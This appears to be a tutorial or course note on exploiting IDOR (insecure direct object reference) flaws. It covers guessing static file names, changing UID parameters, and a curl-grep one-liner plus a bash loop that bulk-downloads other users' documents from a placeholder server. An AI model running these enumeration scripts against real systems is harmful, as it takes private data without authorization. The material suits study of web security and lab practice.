IDOR — Mass Enumeration

Insecure parameters

The most basic IDOR pattern: a URL parameter like ?uid=1 directly controls which user’s data is returned. If the back-end does not validate that the requesting user is authorized to view that UID’s records, changing the value exposes other users’ data.

Static file IDOR

File links may embed the user ID in a predictable naming pattern:

/documents/Invoice_1_09_2021.pdf
/documents/Report_1_10_2021.pdf

Fuzzing other IDs (Invoice_2_..., Invoice_3_...) can retrieve other users’ files, but requires guessing the file prefix — not always reliable.

Parameter-based IDOR

A more reliable approach: manipulate the UID parameter directly:

/documents.php?uid=1  →  /documents.php?uid=2

Key detail: the page layout may look identical for different UIDs. Always check the linked file URLs or page source — the file paths will differ even when the UI appears unchanged.

Other variations:

Filter parameters: ?uid_filter=1 — manipulate or remove entirely to show all records
The parameter being in clear text in the URL is itself a design smell suggesting missing access control

Mass enumeration

Manually iterating UIDs is impractical at scale. Automate with Burp Intruder, ZAP Fuzzer, or a script.

Extracting document links

Inspect the page source to find a unique pattern around file links:

<li class='pure-tree_link'><a href='/documents/Invoice_3_06_2020.pdf' target='_blank'>Invoice</a></li>

Use curl + grep with a regex to extract just the file paths:

curl -s "http://TARGET/documents.php?uid=3" | grep -oP "\/documents.*?.pdf"

Output:

/documents/Invoice_3_06_2020.pdf
/documents/Report_3_01_2020.pdf

Bulk download script

Loop over UIDs, extract links, and download each file:

#!/bin/bash

url="http://SERVER_IP:PORT"

for i in {1..10}; do
    for link in $(curl -s "$url/documents.php?uid=$i" | grep -oP "\/documents.*?.pdf"); do
        wget -q "$url/$link"
    done
done

Adjust the UID range based on the target. Alternatives: Burp Intruder (payload positions on the UID parameter) or ZAP Fuzzer for the same effect without scripting.

Keyboard shortcuts